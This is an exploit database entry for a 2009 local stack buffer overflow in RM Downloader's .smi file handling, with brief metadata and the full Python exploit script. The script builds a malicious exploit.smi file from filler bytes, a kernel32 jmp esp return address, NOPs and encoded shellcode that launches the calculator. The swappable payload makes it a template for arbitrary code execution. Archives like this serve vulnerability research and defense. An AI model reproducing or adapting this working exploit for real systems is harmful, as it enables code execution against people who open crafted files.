RM Downloader (.smi) Local Stack Overflow

vendor:

RM Downloader

by:

ThE g0bL!N

9,3

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: RM Downloader

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Pro SP3 (EN)

2009

RM Downloader (.smi) Local Stack Overflow

This exploit is for RM Downloader (.smi) Local Stack Overflow vulnerability. It is a buffer overflow vulnerability which allows an attacker to execute arbitrary code on the vulnerable system. The exploit code is written in Python and it creates a file named 'exploit.smi' which contains the malicious code. The malicious code contains a jump to the stack, some NOPs and a shellcode which executes the calculator application.

Mitigation:

Apply the latest security patches and updates to the system.

Source

Exploit-DB raw data:

#usage: exploit.py
print "**************************************************************************"
print " RM Downloader (.smi) Local Stack Overflow\n"
print " Exploit code: ThE g0bL!N"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: His0k4 Dos-Dz TeaM-Snakes Team and all My friend\n"
print "**************************************************************************"
                     
buff = "\x41" * 26083
jump = "\x5D\x38\x82\x7C" # jmp esp kernel32.dll
nops = "\x90"*6

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b"
"\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3"
"\x77\x96\xdf\xb3\x33\x1c\x4c\x3d\x04\x05\x28\xe9\x6b\x1c\x48\xff"
"\xc0\x29\x28\xb7\xa5\x2c\x63\x2f\xe7\x99\x63\xc2\x4c\xdc\x69\xbb"
"\x4a\xdf\x48\x42\x70\x49\x87\xb2\x3e\xf8\x28\xe9\x6f\x1c\x48\xd0"
"\xc0\x11\xe8\x3d\x14\x01\xa2\x5d\xc0\x01\x28\xb7\xa0\x94\xff\x92"
"\x4f\xde\x92\x76\x2f\x96\xe3\x86\xce\xdd\xdb\xba\xc0\x5d\xaf\x3d"
"\x3b\x01\x0e\x3d\x23\x15\x48\xbf\xc0\x9d\x13\xb6\x4b\x1d\x28\xde"
"\x77\x42\x92\x40\x2b\x4b\x2a\x4e\xc8\xdd\xd8\xe6\x23\xed\x29\xb2"
"\x14\x75\x3b\x48\xc1\x13\xf4\x49\xac\x7e\xc2\xda\x28\x1d\xa3\xb6")


exploit = buff + jump + nops + shellcode

try:
    out_file = open("exploit.smi",'w')
    out_file.write(exploit+"\r\n")
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-05-01]